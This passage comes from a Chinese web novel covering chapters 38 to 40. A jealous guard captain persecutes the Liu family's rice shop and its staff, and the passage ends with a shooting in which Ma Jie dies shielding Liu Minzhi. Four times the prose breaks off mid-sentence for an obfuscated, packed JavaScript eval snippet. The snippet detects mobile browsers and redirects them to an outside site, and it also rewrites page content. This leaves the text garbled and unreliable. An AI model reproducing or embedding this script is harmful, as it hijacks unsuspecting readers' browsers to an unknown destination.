杜其骏大踏步站在他面前，龇牙咧嘴地笑。 “绑了。” “是！” 寡不敌众，伙计们束手无策，刘珉之很没形象地擤擤鼻子，尝试以理服人。 “杜队长，我们刘家一直按规矩做事，您这样不合礼数。” “规矩？你敢来警卫所，还敢讲规矩？” 老赵弱弱插话：“队长，他们就来看了一眼，正准备走……” 老赵的话被凶神恶煞瞪了回去。 “嘶！” 刘珉之被掰了下肩膀,轻呼出声。 “磨蹭什么呢？我来！” 杜其骏正待上前，激动地伙计团团围在刘珉之身前，建起一道人墙。 杜其骏冷哼一声：“你们要造反？” “杜队长，”刘珉之仍不死心，“你我往日无怨近日无愁，没必要做到这个地步吧？” “你还有脸说？” 杜其骏咬牙切齿，愤恨道。 “要不是你，湘子早和我在一起了！” 老赵痛苦地捂脸，队长仗势欺人就罢了，怎么还把心里话交代出来。 刘珉之也觉得好笑：“这就是你针对我的理由？” “是又怎样？” “苏小姐已经在北京安定下来，”刘珉之努力解释，“我们两个都与她无缘，何必针锋相对？” “还不是你从中作梗！你家里有一个女人，还能在外头风花雪月，”杜其骏怨毒道，“我却只有她一个女人，事事以她为先，凭什么我会输给你……” 老赵弱弱道：“队长……” “闭嘴！” 老赵默默退下，刘珉之无可奈何。 “杜队长在漳县也算是前途无量，何必为情情爱爱的小事烦恼呢？” “哈哈哈哈。” 杜其骏大笑。 “是啊，我哪里不比你强。” 刘珉之屈辱地抿着嘴，本以为可以靠忍耐避开今日的冲突，谁知杜其骏话锋一转。 “还愣着做什么，把他关起来。” “杜其骏，你！” 警卫队员一拥而上，和米铺的伙计颤斗在一起，刘珉之体力已到了极限，被老赵遮遮挡挡护在身上。 队员们不敢尽力，磨磨蹭蹭地住了手。 “废物！” 杜其骏从腰间拔出手丨枪，朝天射出一声巨响。 “啊！” 室内放丨枪的巨响将耳膜震的生疼，刘珉之痛苦地捂住耳朵，周遭一行人也俱被震慑，但紧接着便是不可名状的愤怒，长期被欺压针对，这群汉子终于在枪声中迎来了反抗的高丨潮。 “奶奶的，拼了！” “呀！” 可枪声代表着绝对的武力压制，肉身如何对抗？ 刘珉之不想看见自己人无谓伤亡，痛苦挣扎道：“别动手，别动手……” 已经来不及了，人活一口气，伙计们奔冲上去，杜其骏的枪口从头上移下，对准了第一个人。 老赵绝望道：“别！” “嘭！” 子弹从来人的头顶三尺擦过，射中另一块屋顶。 伙计吓傻了，杜其骏冷冷道：“你们最好老实点，下一枪，我就不会留情了。” 场面胶着下来。 刘珉之认命了。 “这是我们两个的事，别牵扯别人。” “二少爷！” 刘珉之摆摆手，事到如今，只能以他妥协收场，可之后的事情…… “哎哟！这是怎么了？” 一个夸张的、爽朗的男声不合时宜地响起，众人抬头去看，见一个穿军装的男人痛心疾首地走进警卫室。 老赵大喜，刘珉之也一愣。 来人是马竭。 杜其骏不认识他，皱眉道：“你是谁？来警卫所做什么？” 马竭啪嗒一并腿，敬了个礼。 “报告杜队长，我是军务部第三巡查队的，奉赵副官之命前来保释刘家米铺的钱管家。” 众人愣了，杜其骏狐疑道：“赵副官回来了？” 马竭面不改色：“赵副官刚进官道，收到消息派我先来查看。” 缩在一旁的钱夫人来劲儿：“赵副官！青天大老爷啊！” 伙计们纷纷应和，杜其骏脸色铁青。 但对方拿赵副官说事，他不好发作。 万一赵副官真回来了呢？ 正这时，老赵又贴到他身边，附耳说了几句。 杜其骏还是不放心：“赵副官的手令呢？” “事发突然，我只得了口令，”马竭笑道，“放不放人不是什么大事，杜队长不必挂怀。” 钱夫人急眼了，被刘珉之拦住。 马竭抬手一指，警卫所的木顶棚被刚才两发子弹打出两个深坑，木头残破地要坠不坠。 “只是警卫所是公家地盘，闹成这样子不好看，杜队长，我认识几个师傅，手艺很好，我能不能帮他们介绍个生意？” 杜其骏冷哼一声：“不必劳烦你。” “是是是，怪我多嘴。” 队员和伙计们偃旗息鼓，刘珉之和老赵分别制住两边的人。 马竭点头哈腰地捧着杜其骏说话，一副军务部和警卫所一家亲的良好态度。可他毕竟是军部的人，杜其骏不能没有顾及。 “既然赵副官发话了，你们走吧。” 伙计们面面相觑，刘珉之为难地看一眼钱夫人。 “那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753408|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管家也放走。” 老赵赶紧应声：“是，队长！” “赶紧放人！” “是！” 事情圆满解决，刘珉之深深看一眼杜其骏，带着众人回程。 被关了大半天，钱管家精神萎靡，刘珉之要给他叫医生，却被叹息拒绝。 “人老了不中用，也不是病，我回家睡一觉就好了。” “苦了你了，钱管家。” 钱管家摇摇头，惆怅道：“世道变了，现在年轻人做事，没有章法，早晚要乱套。” 刘珉之顺着他说了几句，又沉吟道。 “钱管家，我还有一件事要麻烦您。” “二少爷请讲。” 刘珉之清咳两声，警卫所大闹一场，他风寒倒好不少。 “还请钱管家不要把今天的事告诉我父亲。” 钱管家叹气。 “二少爷放心，老爷的身体刚有起色，我定不会叫他知道这些糟心事。” “我正是此意。” “我这里无妨，其他人那里的口风，二少爷也要盯紧。” “我明白。” 回到大本营，在军部和赵副官家里蹲守的伙计也回来了，都说没见着赵副官，也没见他要回来的音讯。 刘珉之慌了神，那马竭是如何得到的口令？ 吩咐去找人的伙计还没出门，马竭提拉着帽子，疲惫地进了刘家米铺的门。 “马竭！” “刘少爷。” 刘珉之大喜，忙叫人看茶。 铺子里的茶算不上好，是去年的次等龙井，香味是不错，但不是头茬，还掺了不少碎叶子，马竭牛嚼牡丹，连碎渣也一并咽进肚里。 “你真得了赵副官的令？” 马竭沉重地摇摇头，刘珉之心死了。 假传军令，等杜其骏知道了，又是后患无穷。 “我得了刘家被查的信，请了不少哥们蹲守，可一点赵副官的消息都没有。我怀疑警卫队早就知道赵副官一时半会回不来，才挑在今天动手。” 刘珉之也想到了这点。 这是件很糟的事，这证明刘家在漳县的消息源已经落后了。 刘琼越再不回来，他们会越来越受制于人。 “你要小心，今日你帮了我，杜其骏一定会找你麻烦，他们杜家在军务部可有不小的势力。” 马竭一笑：“我知道的，刘少爷。” 刘珉之沉声道：“我真是不知谢你，若不是你及时出现，我实在无法收场。” “何必客气？” 马竭叹息道。 “若不是刘少爷，就没有我马竭的今日，刘家的事就是我马竭的事。大不了以后，我不在军务部做事，继续回我的东大街。” “那可不行，你对我有恩，若你真不在军务部，我要聘你到米铺来，做我的账目先生。” “少爷还是饶了我吧，我可不会算账。” 两人大笑，刘珉之拍了拍他的肩膀。 “我今天去银行取了些钞票，这点钱你拿着，给你婶娘买点东西。” 马竭有些心动，但还是拒绝了。 “算了，婶娘不喜欢我拿钱给她。” 刘珉之一愣：“那你自己收着。” 马竭还是摇了摇头，笑道：“婶娘教我的，只做分内的事，拿分内的钱。” 38. 发难 刘珉之回到家，一家人正悠闲地窝在暖房里，刘伯参合着眼睛，在躺椅上摇摇晃晃。 王桂英在旁边念报纸，念的又是西北方面的新闻。蒋部长声势浩大地调集百万兵马剿匪，近日却突然没了动作，大家都在揣测他的心思，试图摸清国内局势。 王桂英看见他，焦急地要迎过来，被刘珉之摆手制止。 “怎么不念了？” 刘伯参眼睛没睁，慢悠悠道。 “爹。” 刘伯参睁开眼，不满地看着儿子：“你还病着呢，出门也不说一声。” “风寒而已，小毛病。” “你得爱惜身体，现在你哥不在，家里就靠你了。” “我明白的，爹。” 刘伯参又慢悠悠抱怨一阵子战事，又抱怨家里人丁少，也没个人陪他。 “我病的太久，文丨化部那些家伙都不来看我了。” “爹，您别多想。” 刘伯参叹了口气，把头偏向一边。 “人老了，总是要寂寞的。” 出了暖房，王桂英拉起刘珉之转着圈地左右看，确认他没受伤，这才松了口气。 “我听伙计报信说，你们在警卫所打了起来，可吓坏了。” “我没事，都解决了。” “怎么解决的？是赵副官回来了吗？” “还没，不够他派人传了信儿。” 王桂英疑惑：“怎么传的信儿？” “这你就别管了，外头的事有我呢。” 刘珉之硬要逞这男人气概，可王桂英却不识趣，不晓得娇弱地窝在他怀里，说些有你在我就放心之类的好话。 王桂英急着赶他回东厢房歇息，一会儿派小葱送来了八宝桂圆粥，并几样清淡小菜。等他吃完，小葱还不走。 “二奶奶叫我看着您吃药。” 刘珉之无奈，又有些甜蜜，配合地把药吃了。 他今日睡的够多，实在不想再睡，出来院里散步消食。 院里的广玉兰已凋零了，只剩下粗苯的树枝树干，刘伯参嫌弃不好看，心血来潮种了两株梅花，梅花细骨憔悴，还没长出花苞。 他走到后院的耳房，却突然看见个意想不到的人。 那人驼背塌腰，形容散漫，浓黑的头发和胡须不修边幅地翘立着，和他规矩懂事的妹妹完全是两个极端。 刘珉之十分不悦，闷声喝叫他的名字。 “王俭！” “诶！” 王俭吓地原地一跳，没头没脑地转了一圈才找到来人，赶紧讨好地凑上前来。 “刘少爷，您也在家啊。” 刘珉之冷冷道：“你怎么在这。” 王俭嘿笑两声，说来看望刘老太爷。 “用不着你。” “二少爷，您这就见外了，咱两家可是实在亲戚，老太爷病了我怎么能不来呢？” 刘珉之冷眼看他：“你带什么东西来了？” 王俭挠头：“这个……” “你别想找你妹妹要钱，她一分钱也不会给你。” 王俭连连摆手：“不敢，不敢。” 他狠狠叹了口气：“二少爷，和您实话实话了吧，我就是来蹭口饭吃，我老大个人了，连个媳妇都没有，地也卖了，身上一个子儿也没有，我心里苦啊！是，我是不要脸，我就是来打秋风的。可我就是想吃口热乎饭，二少爷，您就高抬贵手，赏我口饭吃吧。” 刘珉之最烦这种哭天喊地的家伙，明明是自己作孽，倒好像是全天下的人待他不公。 “滚。” 王俭止了哭腔，见刘珉之神色冰冷，不敢触他的霉头，欲语还休地滚了。 赶走碍事的穷亲戚，刘珉之乐的清静，谁知倒晚上吃饭，老太太却提起他了。 “王俭呢？他也在府上，怎么不来吃饭？” 刘珉之顺嘴答道：“他有事回去了。” 老太太有些担心：“他能有什么事？别又是抽上大烟了。” “不会，他又没钱。” “难讲，大烟可不是那么好戒的，”刘伯参慢悠悠道，“珉之，你时不时派个人去盯着他。” 刘珉之不服：“爹，娘，你们那么关心他做什么？” “怎么说话的？” 刘伯参狠狠瞪他一眼，又瞟一眼王桂英。王桂英默默低头吃饭，仿佛他们一家人聊的不是自己娘家哥哥。 老太太给她夹了一筷子排骨，她一口塞进嘴里，鼓着腮帮子顶动几下，吐出一根干干净净的骨头。 刘珉之回过味来，有些尴尬道：“我……我没想那么多。” 王桂英低着头，小声道：“他是做的不对，你们管他吃喝，我已经很感激了。” 刘珉之讷讷举着筷子。 刘伯参叹了口气：“人家以前也是公子哥，谁没有落难的时候呢？” 刘珉之连忙附和。 “咱们能帮一把就帮一把，这世道，谁说的准。” 刘伯参疲惫地摸摸胡子，又想到自家身上。 “你看看你大哥走以后，军部的人都没上过门，得意时花团锦簇，其实都是看人下菜碟。” 他说的话太多，连连咳嗽好几声，老太太手忙脚乱帮他拍背，王桂英叫丫头去倒温水。 “我没事。” 刘伯参咽下一口温水，叹息道。 “明天叫王家那小子上门陪陪我吧，我在家也闷的很。” “是，爹。” 第二天，王俭千恩万谢地来了，对着刘珉之好一通尽诉衷肠，刘珉之烦躁地打断他。 “你在刘家，什么话该说，什么话不该说，心里要有数。” “二少爷放心，桂英都和交代过了，外头的事一句都不许和老太爷提。” “你记得就好。” “不敢忘，不敢忘。” 王俭虽是个浑球，嘴上却真有一套，时不时说些俏皮话，把老两口逗的笑出声来，哄的他们心里松快。 王桂英似乎也放松很多，没再提去乡下种田的事，刘珉之暗暗松了口气。 大哥不在，米铺举步维艰。 若是王桂英也不在身边，他不敢想回到家里会乱成什么样子。 家丨国一体，这个冬天又发生一起了不得的大事。 蒋部长在西安载了个大跟头，剿匪不成反被擒获，东北军和西北军联合通电全国《抗日救国八项主张》，全国上下炸开了锅，不知何去何从。 南京方面天翻地覆，据说发动了几场兵丨变，都被强行压制下来。 漳县远离权力中心，也还是受到波及。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15772777|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 军工部的方主任直接下台，连个小公职都没保住，灰溜溜回家坐冷板凳。 赵副官谨言慎行，避不见客，生怕在这节骨眼露出一丁点马脚。 刘珉之不敢冒险，下令所有铺子关门，伙计的薪水照发，一群人窝在铺子里一遍遍清点账目，只等熬过这段时日再做打算。 王桂英把家里的报纸都收起来，不给刘伯参看，省得他整日长吁短叹刘琼越的音讯。 山雨欲来，只有王俭雷打不动上门蹭饭。 刘伯参看他都有些怜爱了，像养只小鸟一样，喂点好吃的就讲几句好话，哪日他不来，还会念叨两句。 这日一家人吃早饭，外头的下人急忙忙闯进来报信，被骂了没规矩，他又急又气，求救地看着刘珉之。 刘珉之心里一沉，放下碗筷出去。 “二少爷，大事不好了。” 刘珉之往堂屋里瞥一眼。 “去外面说。” “是。” 还没走到外面垂花门，下人实在忍不住了，压着嗓子道：“钱管家又被抓走了。” 刘珉之暗道不妙。 “谁抓走的？派人去找赵副官了么？” “又是警卫队抓的，就刚刚的事儿，已经派人去找赵副官了。” “伙计们呢？” “都在铺子里呢，就等二少爷您拿主意。” 刘珉之匆匆往米铺赶，脑子里胡思乱想，不明白杜其骏怎么突然发难。 才到铺子，派往军务部的伙计也回来了，说赵副官不见客，是被赶回来的。 “你没说你是刘家的人？” “说了。” “那他们还赶人？” “可别提了！不说还好，说了，直接被架着两杆枪打出来。” 众人惊异，议论纷纷。 刘珉之唯恐军务部生了什么变故，叫人去找马竭。 马竭上次得罪了杜其骏，却没被报复，还在军务部做事。他人机敏，或许知道一些内情。 “二少爷，咱们去警卫部把钱管家要回来！” “对！就和上次一样！” “咱们人多，不怕他们！” 伙计们义愤填膺，刘珉之却不得不冷静。 “上次把钱管家放回来不是因为咱们人多，是因为杜其骏顾忌赵副官的面子。这回，可就难说了。” 伙计们还是坐不住。 “二少爷，您说怎么办吧？” “总不能不管钱管家，他年纪那么大，哪里受得了坐牢。” 刘珉之沉思。 掌柜的急了，以为他要舍弃钱管家。 “二少爷，钱管家一人事小，可是他们今日敢抓钱管家，明日就敢抓店里所有人，后日，可就要抄家了！” “是啊，二少爷！” “不能不管!” 刘珉之被吵的头疼，喝道：“安静！” 伙计们安静下来，神色各异地盯着刘珉之。 “这事不能硬碰硬，咱们赢不了。” 刘珉之叹气。 “还得去找赵副官，请他帮我们管。” 从军部回来的伙计迟疑道：“可是赵副官不肯见咱们……” “我亲自去，”刘珉之道，“他们总不能把我也打出来。” 39. 领导人 刘珉之并不常来军务部。 军务部是刘琼越的地盘，他是刘琼越的亲弟弟，他来这里令旁人不自在。领导的亲戚是半个领导，刘珉之不爱去耍这一半威风。 可这次真有事求上门，却没人搭理他了。 “刘先生，赵副官不在。” “他去哪里了？” “我不知道。” “那他什么回来？” “我不知道。” “你怎么什么都不知道?” “刘先生，长官的消息，我们无权过问，也不了解，请不要为难我们。” “可我有急事找他。” 刘珉之被拦在门外，大门紧闭。他焦躁不安，深呼吸两下，心知一时半会儿见不到赵副官了。 “请告诉赵副官我来过。” “好的，刘先生。” 刘珉之不死心地站了一会儿，忽然想起什么。 “巡查队的人在哪？” “你问这个做什么？” 对方的语气很冷硬，刘珉之受够了，怒道：“你在用什么态度和我说话？” “刘先生，我们公事公办。” “你们办事若是这个态度，也不必当值了！” 对方冷笑一声，轻蔑道：“刘先生，你是军工部的人，什么时候能管军务部的事了？” “你！” 一层楼的守卫整齐地摸住枪，刘珉之这才明白不妙。 他们已经完全不认刘珉之的名头了。 好汉不吃眼前亏，刘珉之愤愤不平地离开大楼。 谁知这口窝囊气还没咽下去，远处缓缓驶来一辆黑色轿车。 漳县是小地方，哪怕是在军务部这种部门，轿车也是稀罕货，只有部门最高领导人有权使用。 刘琼越离开之后，就是赵副官乘坐轿车出入。 刘珉之愤愤不平。 赵副官果然是故意不见他们刘家人。 他决定堵人，好好地陈明利害。 守卫一拥而上，夹道车门两侧，整齐地将人簇拥在中心，车门打开，那位披着黑色大衣的男人款身而出。众人鞠躬问好，他被包围在权力中央。他不动声色，将帽檐压低，被拥戴着往前走。 这派头比大哥还足。 刘珉之想起一把年纪的钱管家，一时心切冒了出去，谁知却被一个陌生的士兵拦住。 “刘先生，您做什么？” “我找赵副官！”刘珉之气急败坏，“别拦我！” “刘先生！” 那人紧紧抱住他，急道：“您冷静点！” 他情急之下，狠狠捂住刘珉之的嘴，将人往墙角拖。 可为时已晚，他们的动静太大，被穿黑色大衣的男人察觉，男人抬头，往这边一瞥。 锐利、深刻的一张脸，如刀削斧凿，虽然略显阴冷，但不得不承认是张很帅气的脸。然而就是这张脸，惊出刘珉之一身冷汗。 这人不是赵副官，是杜其骧。 刘珉之缩回脑袋，心有余悸地躲起来。 好在杜其骧没发现他，若无其事地移回目光。 刘珉之老实了，和陌生士兵窝在墙角，好在所有人的注意力都在杜其骧那里，没人注意到他们。 人群攒动，刘珉之惊魂未定。 “怎么会是他……他不是和大哥在西北吗？大哥……大哥！”刘珉之眼前一亮。 他的喜悦刚刚冒头，就被掐灭。 “刘先生，刘部长他没回来。” 刘珉之呆呆地看着陌生的士兵：“你说什么？” “刘先生，刘部长还在西安，行踪未定，只有杜参谋长回来了。” 刘珉之艰难地咽了口口水：“什么意思？” “刘先生，你快回家吧。我，我也该去向度参谋长复命了。” 刘珉之并不认得这个士兵，但他似乎对刘琼越很忠诚，顺带着也很关切自己。刘珉之不想令他为难，匆匆离开了军务部。 杜其骧的脸搅的他心神不宁，他明白漳县要变天了。 钱管家是第一个，之后是他，父亲，整个刘家。 刘家有上千亩地，养着数百号人手，屯着几万斤粮食，可这些，都需要权力来保护。 不，他不能认输。 他得赶快去通知米铺的伙计解散，回家避避风头。 刘珉之定了心神，赶紧招呼人力车去米铺，谁知等他回来，店里大门敞开，一地狼藉，却连一个人也没有。 刘珉之急了，小跑去问邻居情况。 “都被警卫队抓走了。” 刘珉之瞪大双眼：“全抓走了？” “是啊，全抓走了。” 邻居似乎有些过意不去，解释道。 "不是我们不帮忙，他们人多，全都带着枪。" “我知道，我知道……” 刘珉之失魂落魄地回到店里，正茫然不知所措，一阵急促的脚步声传来。 “少爷！” 刘珉之看向来人，愣道：“马竭？” 马竭急切地抓起他的手往外跑：“咱们快走。” 刘珉之茫然地被他拉着走，傻傻问道：“去哪？” “我带您去乡下避一避，等刘部长回来再做打算。” 刘珉之有些搞不清情况：“现在吗？” “对，现在。” 刘珉之顿住，甩掉他的手。 “不行，我得回家。” 马竭急了：“刘少爷！杜其骧可不像他弟弟是个蠢货，他既然回来，一定会快刀斩乱麻，把刘家一网打尽。” 刘珉之本就心烦意乱，被他一点破，气急败坏道：“我知道，不用你告诉我!” 马竭愣了。 “是……是我心急了，可是少爷，事不宜迟啊。” “不行，我得回家。” “诶！” 刘珉之奇怪地看向马竭：“怎么了？” 马竭吞吞吐吐。 “到底怎么了？” 马竭叹了口气：“杜其骏已经带着人去刘府了。” “什么!” 刘珉之怒目圆睁。 “他怎么敢，他怎么敢……” 马竭缓声劝道：“刘少爷，留得青山在，不愁没柴烧。西北那边的情况还没确定，杜其骧不敢把事情做绝。只是杜其骏这个人不好办，您躲着他就是了。” 刘珉之噌地站起来。 “我得回家。” 他转身往外跑，马竭一边喊少爷一边跟在他身后跑。 两人上了人力车，没走两步，刘珉之嫌轮子转的慢，干脆下地自己跑。 马竭气喘吁吁跟在后头，边跑边劝。 “刘少爷，您过去没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787595|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么用啊。” 刘珉之恼了：“怎么没用？难道我要任由他们在我家撒野吗？” “我不是这个意思。” 马竭小心翼翼道。 “杜队长他，他不至于搞出人命，左右不过搜刮些财物，炫耀炫耀他的威风。” “那也不行！” 刘珉之一脑门子汗：“我父亲身体不好，动不得气……” 他牢牢记着医生的话，熬过这个冬天，父亲的病就有转机。 不能是他。 大哥不在，现在是刘珉之当家，不能是在他手里出岔子！ 马竭欲言又止，到底是叹了口气，乖乖跟在刘珉之身后。 一直追到刘府门前一条街的地方，才终于追上他们。 杜其骏意气风发，队员们舞枪弄棒，悍气凛然。他们一道查抄米铺而来，最后一家分店离的近，没抽人手送战利品回警卫所。那几个伙计被一道押解着去往刘府，五花大绑着，嘴里堵了破布，屈辱地无法言说。 邻里出来旁观，见是警卫队的人，俱不敢说话，又缩家里关上门窗。 “少爷！” 马竭不及阻拦，刘珉之已飞奔而出，跑到队伍前头。 “唔唔！” 队员给了乱叫的伙计一闷棍，大喊：“谁？” 刘珉之满脑门子汗，被数只长枪指着，举起双手投降。 “是我，刘珉之。” 马竭是个识时务的人，轻手轻脚卸下腰间的配枪，双手举的老高。 “各位兄弟，有话好好说。” 走在侧边老赵急眼了，趋步上前。 “你们来这里做什么！” 刘珉之沉声道：“这是我家。” 老赵噎住。 队员两边散开，杜其骏从中间走出，方正的下巴高抬，梗起脖子看人。 “刘少爷，奉命行事，刘记米铺员工已全数逮捕。你也得走一趟。” 两个队员抓起绳子警惕地靠近他，刘珉之原地不动，沉声道：“抓我可以，不要进刘府。” 杜其骏冷嗤一声：“绑了。” 马竭拦在他身前，他到底穿着军务部的衣服，有几分威慑力，几个队员面面相觑，不敢上前。 杜其骏仔细瞧清楚马竭的脸，咬牙切齿：“又是你。” 马竭露出个讨好的笑：“杜队长好。” “好你爹！” 杜其骏将手中警棍飞掷而来，马竭唬了一跳，下意识抱头躲避，还不往双手一揽，用咯吱窝夹着刘珉之，两人一起缩在地上，十分没骨气。 “队长息怒！” “你也滚！” 杜其骏看老赵也碍眼，老赵忧心忡忡，不敢再吱声。 杜其骏穿着配套制服的高筒靴，踢铃哐啷地踏步过去捡起警棍，又站定刘珉之跟前。他才居高临下没几秒钟，这该死的刘珉之已站直身体，个头竟比他略高一截。杜其骏不爽地后撤一步，距离拉开，两人的目光接近于平视，杜其骏勉强找回了睥睨的姿态。 “刘大先生，想不到你有今天吧？” 刘珉之闷不做声。 杜其骏大笑，用警棍点了点他的肩膀。 刘珉之浑身肌肉抽搐，强行忍住这份屈辱。 “你抓我可以，你要多少钱我都给。请你不要进刘府，不要动我们府上的人。” 40. 血 杜其骏似笑非笑地看着他。 “你是在跟我谈条件吗，刘家的二少爷？” “是。” 杜其骏被逗乐了，哈哈大笑。 “你有什么资格跟我谈条件？你以为你还是军务部长的弟弟？” 被戳到痛处，刘珉之死死咬住牙关，却听杜其骏又自得其意道。 “现在军务部长的弟弟，是我。” 马竭瞧刘珉之神色不对，帮他说话：“杜队长，刘部长还在西北呢，只是还没回来。” 杜其骏阴狠地看着他，马竭不敢再出声。 他敲着警棍，扬武扬威。 “风水轮流转啊，刘少爷。” 刘珉之低着头，又听他慢悠悠道。 “你要怎么求我呢，刘少爷？” “刘记银行账目里的钱，还有仓库囤积的粮草，刘家愿意无偿充军。” 刘珉之自认为很有诚意，谁知杜其骏掏掏耳朵，费解道：“刘少爷，你在说什么？” “刘家愿意配合军部，一应资源任凭军部调遣。” 杜其骏身体前倾，夸张地贴过耳朵：“什么？” 他身型虽然宽大，但比刘珉之矮一小截，这个动作不伦不类，圆溜溜的脑袋挨在刘珉之胸口，刘珉之皱眉，下意识想躲，又忍住了。 “你……” 刘珉之恍然，杜其骏根本不是在谈条件，他只是在逞威风而已。 “我求你，不要进刘府。” 杜其骏满意了，背着手道：“你说什么？大点声。” “我求你，不要进刘府。” 杜其骏哈哈大笑：“再大点声。” 刘珉之咬牙切齿：“我求你。” 他几乎是愤怒地嚷出来的，连队伍后头的老赵都听得到。马竭于心不忍，偏过头去，杜其骏终于满意了，乐呵呵抓过绳子，亲自将他双手绑上。 刘珉之低声道：“还请杜队长不要食言。” 杜其骏打上死结，狠狠一扯。 他眯着眼睛刘珉之的脸，不得不承认这张脸确有可取之处，怪不得湘子会被他迷惑。 他往这张好看的脸上拍了怕，看见这张脸露出屈辱的表情，愉悦地几乎要疯掉。 “走，”他牵起拴住刘珉之的绳子，声音跳跃着传进每个人耳朵里，“带刘少爷一起去刘府搜查。” 他根本就没想过答应！ “杜其骏！” 刘珉之忍到极致，终于无法再忍。他骤然发难，两手一捞将杜其骏圈在怀里，用作手铐的粗绳狠狠勒住杜其骏的脖子。 “你敢！” 刘珉之恶狠狠道，警卫队员懵了，老赵赶紧冒出来主持大局。 “冷静冷静。” “咳、咳。” 杜其骏脸红脖子粗，呼吸不畅，他一只手伸进脖颈和绳子的缝隙里抵挡，另一只手够腰间的枪，刘珉之拼了狠，非要在他摸到枪之前结果了他！ “队长冷静！” 老赵感觉自己也颠了，这些少爷怎么一个比一个疯。好在队长命大，一时半会儿勒不死，他先扑上去将队长的枪丢远，再和队员一起死命分开二人。 “哎呦，刘少爷你怎么也犯糊涂！” “谁也不许动我家里人！” “是是是，您松开点，您松开点。” 刘珉之到底不胜武力，能制住杜其骏全凭一时激怒。一阵兵荒马乱之下，杜其骏终于重获自由，捂住脖子不断咳嗽。 刘珉之被牢牢制住，几人分别压住他的四肢和身体，他刚张嘴骂了两句，又被老赵眼疾手快堵住了嘴。 “天老爷，您就少说两句吧。” 老赵头疼欲裂，忽又听一声枪响，炸的人头脑冲荡。 整条街的人被震的耳膜刺痛，带着下人赶来查看情况的王桂英愣在原地，眼前的场景冲击太大，她都忘记了捂住耳朵。 “二少爷？” 熟悉的声音令刘珉之清醒过来，这才意识到自己做了天大的蠢事。 可为时已晚，杜其骏被彻底激怒，他已经彻底不管不顾，啪啪又是两枪打在石板铺的大路上。 “让开！” “队长你冷静点。” “让开！” 一枪擦过老赵的靴子，老赵满地乱爬，其他几个队员和刘珉之非亲非故，早就跑的没影。杜其骏紧握着枪，面向没了挡体的刘珉之。 守在旁边的只剩下马竭，他向来能说会道，今天却没了用武之地，只能来回说些车轱辘话。 “杜队长，杜参谋长才刚回来……” “吵死了！” “嘭！” 马竭嘴巴张合，却已然发不出声音，他愣愣捂住腹部的伤口，一时竟没感受到疼痛。 “队长！” 老赵惊呼，恨不得以头抢地。 枪是有魔力的，持枪的人握住的不只是枪，也是权力。权力是致命的，有第一枪就会有第二枪，直到把所有忤逆他的人都杀光。 杜其骏鬼神不论，接连放枪。 “珉之！” 王桂英竟还有力气向他扑来，他自己的腿脚都发软了，刘珉之根本根本分不清该往哪边躲，只是下意识地抱头鼠窜。 “唔。” 枪子闷闷扎穿血肉，刘珉之眼前发懵，好半天才看清身上趴着的人。 是马竭。 他双目圆睁，全身是血，已没了声息。 马竭替他挡了枪。 “马竭！” 马竭的血液把所有人的眼睛刺的生疼，杜其骏打空了弹匣，正待更换，被队员缚住手脚，动弹不得。 王桂英将马竭抱起平放在地上，马竭瞳孔涣散，倒映着天上的黑云，像两颗浮了色的玻璃珠。 “马竭，马竭。” 刘珉之神色大乱，王桂英颤抖地探他鼻息，又扒开衣襟听胸口的起伏，似乎还有几分脉动，忙道：“我去叫医生！” 老赵绝望道：“没用的，中了两枪，活不了的。” 刘珉之坐倒在地上。 “马竭，你有什么要说的？” 他趴下来贴在马竭的唇边，妄图听到一点细微的声音。 没有。 什么声音都没有。 他的死亡如此突然，没有人为此做任何准备。 刘珉之懊悔自己应该让他先走，或者自己和他一起走也好，他是受了自己的牵连，上次得罪杜其骏也受自己牵连。 刘珉之看向失魂落魄的王桂英，突然发现自己没有做出任何有用的事。 杜其骏挣开队员，看见马竭的尸体，一时不知如何收场。 老赵身心俱疲，崩溃道。 “队长，他是军务部的人。” 这确实有些棘手。 “马竭妨碍公务，被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15796816|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 误伤，把他尸首带回去，由警务部出钱安葬。” “队长……” 